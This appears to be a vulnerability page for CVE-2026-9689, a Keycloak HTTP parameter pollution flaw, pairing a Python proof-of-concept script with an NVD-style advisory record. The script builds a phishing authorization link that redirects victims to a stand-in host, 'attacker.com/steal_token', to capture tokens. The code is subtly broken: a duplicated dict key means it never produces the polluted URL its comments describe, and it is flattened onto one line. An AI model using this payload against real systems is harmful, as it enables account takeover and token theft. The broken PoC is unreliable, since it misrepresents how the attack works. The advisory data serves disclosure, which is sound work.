CVE-2026-9689

# Conceptual Proof of Concept for CVE-2026-9689 # This script demonstrates how an attacker might craft a malicious URL # utilizing HTTP Parameter Pollution to manipulate the redirect_uri. import urllib.parse def exploit_poc(target_domain, client_id, malicious_redirect): # Legitimate redirect URI (whitelisted) legit_redirect = "https://app.example.com/callback" # Construct the base authorization endpoint URL base_url = f"https://{target_domain}/auth/realms/master/protocol/openid-connect/auth" # Parameters for the auth request params = { "client_id": client_id, "response_type": "code", "redirect_uri": legit_redirect, # First instance "redirect_uri": malicious_redirect, # Second instance (Pollution) "scope": "openid profile" } # Note: In a real HPP attack, how the server handles duplicate keys matters. # This PoC simulates the URL structure an attacker would send. # Depending on the framework, the URL might look like: # .../auth?redirect_uri=LEGIT&redirect_uri=EVIL query_string = urllib.parse.urlencode(params, doseq=True) full_url = f"{base_url}?{query_string}" print(f"[+] Malicious Link Generated:\n{full_url}") return full_url if __name__ == "__main__": target = "keycloak.example.com" client = "vulnerable-client" evil_site = "https://attacker.com/steal_token" exploit_poc(target, client, evil_site)

{"cve": {"id": "CVE-2026-9689", "sourceIdentifier": "[email protected]", "published": "2026-05-27T12:17:15.513", "lastModified": "2026-05-27T14:54:20.160", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Keycloak, an open-source identity and access management solution. When a client application is configured to accept broad redirect Uniform Resource Identifiers (URIs), a remote attacker can manipulate the authentication process by crafting a special web address. If a user clicks this link, the client application might incorrectly prioritize attacker-controlled information over legitimate data. This vulnerability, known as HTTP parameter pollution, could allow an attacker to bypass security measures or gain unauthorized access to resources."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1288"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-9689", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2481845", "source": "[email protected]"}]}}